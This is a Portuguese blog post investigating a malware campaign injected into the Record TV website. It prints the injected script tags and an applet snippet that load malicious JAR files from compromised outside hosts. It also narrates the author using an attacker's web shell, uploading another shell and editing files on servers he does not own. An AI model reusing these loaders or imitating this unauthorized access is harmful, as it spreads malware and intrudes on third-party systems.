Registrei o incidente com o site da Record aqui há uma semana, o problema se repetiu por vários dias, enviei mensagens para a Rede Record e não me responderam. Nem ao menos emitiram um comunicado orientando os usuários que clicaram na mensagem maliciosa.
Como vocês se lembram, foi inserido esse código no site:
<ScRipT src="HTTP://www.anpal.org.br/_.js"></ScRipT>
Para o site www.anpal.org.br também enviei várias mensagens e nada. Estava “ownado” até hoje, como dizem.
Resolvi então realizar minha própria investigação do caso para tentar obter mais informações do invasor.
Já sabia que o site anpal.org.br possuía esses arquivos maliciosos:
http://www.anpal.org.br/_.js
http://www.anpal.org.br/Autorun.jar
http://www.anpal.org.br/home.jar
Na maioria das vezes quando esses crackers invadem um site eles o usam para distribuir malwares e spams. Para gerenciar os arquivos do site invadido eles fazem upload de um shell na maioria das vezes codificado em PHP, esse shell também é chamada de cmd.
Existem muitos desses shells disponíveis na Internet (e muitos com backdoors), alguns que conheço são: r57, c99, safeOver e bypass. A maioria é feita no exterior, mas existem alguns nacionais também.
Então, imaginando que o cracker fez upload de um shell desses no servidor da ANPAL tentei descobrir o nome do arquivo, comecei pelos nomes mais óbvios e já nas primeiras tentativas encontrei:
http://www.anpal.org.br/cmd.php
Bastante criativo o nome que ele colocou. :) Esse shell era nacional como se percebe pelo nome “By ShellBr 2oo7”.
Através do “cmd.php” eu obtive a listagem de todos os arquivos e pastas da raiz do site da ANPAL, que eram esses:
TMP46ytukc1gk.htm
images/
associados.php
leis.php
banner/
atualizar/
galeria.php
videos.php
saibamais.php
.htaccess
error_log
cell.php
contato.php
cadastro.php
home.jar
Autorun.jar
inscricao/
links.php
_.js
swf/
agenda.php
correio/
netuno.txt
estatuto.php
win.jar
mala/
cmd.php
filiacao.php
artigos.php
cadastrofinanceiro.php
Autorun2.jar
../
siteantigo/
admin/
noticias.php
banner.php
login.php
portal/
imagens/
mercurio.txt
index.php
index1.htm
temp/
net.js
cgi-bin/
edital.php
diretoria.php
noticiasvideo.php
Dessa lista identifiquei os seguintes arquivos como sendo maliciosos:
- cell.php
outro shell, r57, geralmente eles deixam várias cópias de backup
- home.jar
códigos Java para disseminar os malwares
- Autorun.jar
códigos Java para disseminar os malwares netuno.txt e mercurio.txt
- _.js
javascript que chama os arquivos home.jar e Autorun.jar
- netuno.txt
binário que se instala no computador da vítima com o nome de msnwin32.exe
- win.jar
outro arquivo malicioso, essa copiava o binário win.txt (que não existe mais) e se instalava no computador da vítima com o nome de TaskServ.exe
- cmd.php
shell “By ShellBr 2oo7” utilizada pelo cracker
- Autorun2.jar
cópia do Autorun.jar
- mercurio.txt
binário que se instalava no computador da vítima com o nome de Imagen1.exe
- net.js
esse javascript possuía o seguinte código:
<applet name="Adobe Flash Player version 10.1.6" code="Main.class"
archive="http://186.195.32.16/site/img/home.jar" height="1" width="1">
<param name="link" value="http://186.195.32.16/site/img/Autorun.jar"></applet>
Esse IP 186.195.32.16 é do site clicabrasilia.com.br, mais um comprometido que o cracker invadiu. O arquivo home.jar nesse site ainda está disponível e é o mesmo que estava no site da ANPAL.
Prosseguindo, eu queria ainda saber de onde o cracker estava acessando a Internet, lembrei da técnica que utilizei no artigo Hackeando o Hacker, resolvi usar ela para tentar descobrir o IP dele.
Essa técnica consiste em inserir códigos PHP no shell que ele utiliza para que toda vez que acessá-lo ficar registrada a hora, fuso horário e IP da conexão. Para fazer isso resolvi utilizar o próprio shell para editar ele mesmo (não foi uma ideia muito boa), que era o arquivo “cmd.php”, e inserir esses códigos:
$nowt = date('r');
$errors_file = "error_log.txt";
$errors_handler = fopen($errors_file, 'a');
$errors_data = $nowt." - ".$_SERVER['REMOTE_ADDR']."\n";
fwrite($errors_handler, $errors_data);
fclose($errors_handler);
Feito isso era esperar que o invasor acessasse o shell e conferir o arquivo “error_log.txt” de vez em quando para ver se tinha capturado alguma coisa.
Como está registrado nessa tela abaixo, às 20:27 ainda não havia nada.
Porém às 21:12 , acessei o “error_log.txt” novamente e estavam lá registradas várias conexões.
O IP da conexão dele era o 18.7.27.174. Ao consultar o WHOIS desse IP olha o que retornou a pesquisa:
OrgName: Massachusetts Institute of Technology
OrgId: MIT-2
Address: Room W92-167
Address: 77 Massachusetts Avenue
City: Cambridge
StateProv: MA
PostalCode: 02139-4307
Country: US
OrgId: MIT-2
Address: Room W92-167
Address: 77 Massachusetts Avenue
City: Cambridge
StateProv: MA
PostalCode: 02139-4307
Country: US
Esse range de IP pertencia ao tão conhecido MIT, Massachusetts Institute of Technology, o pessoal de computação conhece bem esse instituto.
A princípio pensei se tratar de algum projeto de proxy anônimo que o MIT apoiava ou coisa do tipo, mas ao digitar o IP no navegador vi que era o IP de um site do MIT mesmo, o gsc.mit.edu, MIT Graduate Student Concil.
Resolvi então procurar no Google referências para esse IP, a busca retornou resultados muito interessantes:
Havia alguns sites que possivelmente também tinham sido invadidos pelo mesmo cracker, o sites www.spfc.net e www.jornaldaorla.com.br possuíam esse código nos seus títulos:
<ScRipT src="http://18.7.27.174/_.js"></ScRipT>
Isso quer dizer que o site do MIT também havia sido invadido e estava hospedando malwares. Voltei ao site do MIT para ver se os malwares estavam lá, o arquivo “_.js” não existia mais, mas tentei também o Autorun.jar e esse eu encontrei:
O Autorun.jar do MIT apontava para o endereço:
http://www.woohoo.com.br/img/news_destaques/fotos.txt
E o fotos.txt seria salvo como winskype.exe, mas esses arquivos não estavam mais no ar.
No site do MIT tentei descobrir mais informações de como o cracker invadiu ou encontrar algum shell, não descobri muita coisa, apenas que o site foi feito com o Joomla!.
Ficou a dúvida, se o IP do cracker é o do MIT, então esse servidor deve estar bem comprometido por permitir até navegar por ele, talvez ele configurou ou encontrou um proxy no servidor e está utilizando. Uma varredura com nmap poderia tirar algumas dúvidas, mas não cheguei a fazer isso.
Ao tentar acessar novamente o arquivo “error_log.txt” no site da ANPAL onde ficavam registradas as conexões do cracker, para minha surpresa havia sido apagado. :) O cracker tinha descoberto que eu alterei o shell cmd.php dele e desativou o código. Talvez no código poderia ter alguma função que avisava quando o arquivo era editado, não cheguei a procurar.
Não satisfeito ainda, resolvi fazer upload no site da ANPAL de outro shell e através dele apagar todos os arquivos maliciosos do site, deixar somente a cmd.php e inserir novamente os códigos para pegar o IP do cracker, quem sabe ele não acessaria de outro local, agora utilizei outros nomes e salvei em outra pasta.
Apagando os arquivo JAR com rm-rf *.jar:
Inserindo os códigos novos no cmd.php:
Hoje ao acessar o novo arquivo de registro de conexões do cracker que estava em:
http://www.anpal.org.br/temp/temp.tmp
Novamente apareceu o IP do MIT:
Wed, 27 Oct 2010 09:41:28 -0200 – 18.7.27.174
Por fim apaguei tudo, inclusive o cmd.php e o temp.tmp. Isso porém não resolve o problema do site da ANPAL, a vulnerabilidade continua e se o cracker quiser fazer tudo de novo ele consegue.
Enviei um email ao webmaster do MIT avisando que o site dele estava sendo usado para disseminar malwares. Muitos desses outros sites que citei aqui ainda continuam infectados.
Pelo que podemos ver essa invasão ao site da Record foi apenas mais uma da lista desse cracker. Existem muitos sites comprometidos com esses códigos maliciosos. Inclusive encontrei uma notícia em um outro Blog falando que o site do Portal Terra também foi infectado pelo mesmo código hospedado no MIT. Pode ser lida aqui:
É isso aí, como disse minha esposa isso é um jogo de gato e rato. Bem difícil para a polícia pegar esse indivíduo, tem que haver um trabalho conjunto de cooperação entre as polícias de vários países. Talvez os logs do servidor do MIT apresentem alguma informação relevante.
Não sou especialista em todos esses assuntos, se alguém quiser contribuir com o artigo adicionando novas informações sobre algum ponto que foi citado aqui, sinta-se à vontade em deixar um comentário que depois adiciono no post com os devidos créditos.
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Abraços!
Ronaldo Lima






























